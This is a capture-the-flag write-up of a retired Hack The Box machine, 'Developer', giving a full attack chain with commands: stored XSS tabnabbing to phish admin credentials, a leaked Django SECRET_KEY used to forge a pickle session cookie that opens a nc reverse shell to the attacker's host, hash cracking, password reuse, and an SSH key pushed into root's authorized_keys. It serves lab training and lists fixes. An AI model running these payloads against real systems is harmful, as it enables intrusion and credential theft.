Developer
Summary
I registered an account on the developer.htb web platform and abused a stored XSS vulnerability in the challenge-writeup review workflow to redirect the site administrator's tab to my own phishing page via reverse tabnabbing, capturing the admin's credentials. The stolen session was used to browse the Django admin panel, where the Sites table disclosed a second internal virtual host: a self-hosted Sentry error-tracking instance. Authenticating to Sentry and requesting an endpoint that raised an unhandled Django exception returned a full debug error page, with DEBUG=True, that printed the application's SECRET_KEY in plain text.
That secret was used to forge a signed session cookie containing a malicious Python Pickle payload, achieving remote code execution as the web application user. From that shell, I read the Sentry Django settings file to obtain the local PostgreSQL connection string, queried the auth_user table to extract a PBKDF2-SHA256 password hash for the system user 'karl', and cracked it offline to recover the plaintext <withheld>. Karl's SSH credentials matched the system account, granting an interactive shell and the user flag.
A sudo audit showed karl could run a Rust-built authentication portal as root; the non-stripped binary exposed embedded AES-CTR key material in its data section, which when decrypted yielded the portal passphrase. Supplying that passphrase to the authenticator via sudo caused it to accept my own SSH public key and write it to root's authorized_keys, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<admin_pass>, <admin_user>, <aes_function_address>, <captured_admin_sessionid>, <forged_cookie>, <leaked_secret_key>, <recovered_hex_ciphertext>, <recovered_hex_key>, <recovered_hex_nonce>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Full TCP port and version scan against the target.
$ nmap -sV -sC -p- --min-rate 5000 -oA nmap/initial $TARGETDiscover virtual hosts on the Apache listener by fuzzing the Host header.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.developer.htb' -fc 301,302,404 -o vhosts.jsonAdd the discovered vhost to local DNS resolution.
$ echo "$TARGET developer.htb" | sudo tee -a /etc/hostsExact commands 3
Serve a fake developer.htb login page from /tmp/phish/ to capture resubmitted credentials. Place a convincing login form at /tmp/phish/login.html that POSTs to a listener.
$ mkdir -p /tmp/phish && python3 -m http.server 8080 --directory /tmp/phish/Secondary credential capture listener for the POST from the fake login form.
$ nc -lvnp 9001When the admin opens the review link in a new tab, the opener redirect fires and replaces their developer.htb session tab with the phishing page.
$ # After registering at http://developer.htb/accounts/register/, submit a writeup containing:
# <script>if(window.opener){window.opener.location="http://$ATTACKER_IP:8080/login.html";}</script>FixSanitize all user-submitted content rendered in the admin review workflowCritical
Exact commands 4
Enumerate the Django Sites table with the captured admin session to discover additional virtual hosts.
$ curl -b 'sessionid=<captured_admin_sessionid>' http://developer.htb/admin/sites/site/Add the discovered Sentry vhost to local resolution.
$ echo "$TARGET sentry.developer.htb" | sudo tee -a /etc/hostsAuthenticate to the Sentry instance with the captured administrator credentials.
$ curl -c sentry_cookies.txt -b sentry_cookies.txt -X POST http://sentry.developer.htb/auth/login/ -d 'username=<admin_user>&password=<admin_pass>'Request an authenticated Sentry management endpoint that raises an unhandled Django exception; the DEBUG=True error page embeds SECRET_KEY in the printed settings.
$ curl -b sentry_cookies.txt 'http://sentry.developer.htb/manage/status/environment/'FixDisable Django DEBUG mode in all non-development environmentsCritical
Exact commands 3
Start reverse shell listener before sending the forged cookie.
$ nc -lvnp 4444Generate the malicious signed session cookie. Replace <leaked_secret_key> with the value from the Sentry debug page and $ATTACKER_IP with my machine. Requires pycryptodome and a local Django install for the signing module.
$ python3 - <<EOF
import pickle, os, base64, zlib
import django.core.signing as signing
SECRET_KEY = '<leaked_secret_key>'
SALT = 'django.contrib.sessions.backends.signed_cookiessigner'
class Exploit:
def __reduce__(self):
return (os.system, ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f",))
raw = pickle.dumps({'pwn': Exploit()})
cookie_val = signing.dumps(base64.b64encode(zlib.compress(raw)).decode(), key=SECRET_KEY, salt=SALT)
print(cookie_val)
EOFDeliver the malicious cookie; the server verifies the HMAC, deserializes the Pickle object, and executes the reverse-shell command.
$ curl -b 'sessionid=<forged_cookie>' http://developer.htb/dashboard/FixSwitch Django's session serializer from Pickle to JSONCritical
Exact commands 3
From the RCE shell: locate the PostgreSQL DSN (host, database name, user, password) in the Sentry configuration.
$ cat /etc/sentry/sentry.conf.py | grep -A5 DATABASESDump all PBKDF2 password hashes from the Sentry Django user table.
$ psql -U sentry -d sentry -c "SELECT username, password FROM auth_user;"Crack the PBKDF2-SHA256 hash offline; -m 10000 is Hashcat's mode for Django (PBKDF2-SHA256). Recovered password: $PASSWORD
$ hashcat -m 10000 karl_hash.txt /usr/share/wordlists/rockyou.txt --forceFixProtect application database credentials and enforce unique strong passwords for system accountsHigh
Exact commands 1
Authenticate over SSH with the cracked password; output shows uid=1000(karl) and <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 karl@$TARGET 'id; cat /home/karl/user.txt'
uid=1000(karl) gid=1000(karl)Exact commands 5
Confirm karl's sudo privileges: (ALL: ALL) /root/.auth/authenticator.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no karl@$TARGET 'sudo -l'
(ALL : ALL) /root/.auth/authenticatorCopy the binary for local analysis. If it is not world-readable, first copy it with: sudo cp /root/.auth/authenticator /tmp/auth && sudo chmod 644 /tmp/auth from the karl SSH session.
$ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET:/root/.auth/authenticator ./authenticatorConfirm the binary is non-stripped Rust ELF and identify crypto-related symbols.
$ file ./authenticator; nm ./authenticator | grep -i 'aes\|key\|nonce\|crypt'List strings and disassemble AES-related functions in radare2 to extract the embedded key, nonce, and ciphertext hex constants.
$ r2 -AA ./authenticator -q -c 'iz; afl~aes; pdf @ <aes_function_address>'Decrypt the embedded ciphertext; replace the three hex constants with values recovered from the radare2 disassembly.
$ python3 - <<EOF
from Crypto.Cipher import AES
key = bytes.fromhex('<recovered_hex_key>')
nonce = bytes.fromhex('<recovered_hex_nonce>')
ct = bytes.fromhex('<recovered_hex_ciphertext>')
print(AES.new(key, AES.MODE_CTR, nonce=nonce).decrypt(ct).decode())
# Output: $PASSWORD
EOFFixRemove the sudo-allowed custom authenticator and eliminate embedded credentials from privileged binariesCritical
Exact commands 3
Generate a fresh ed25519 keypair on my machine whose public half will be injected into root's authorized_keys.
$ rm -f /tmp/developer_rootkey /tmp/developer_rootkey.pub; ssh-keygen -q -t ed25519 -N '' -f /tmp/developer_rootkeyFeed the three required stdin lines to the authenticator: sudo -S reads the first line as the sudo password, then the authenticator reads the portal passphrase and SSH public key from the remaining input.
$ PUB=$(cat /tmp/developer_rootkey.pub); printf '%s\n%s\n%s\n' "$PASSWORD2" "$PASSWORD" "$PUB" | sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET 'sudo -S /root/.auth/authenticator'SSH as root using the injected private key; output shows uid=0(root) and <root.txt>.
$ ssh -i /tmp/developer_rootkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'
uid=0(root) gid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.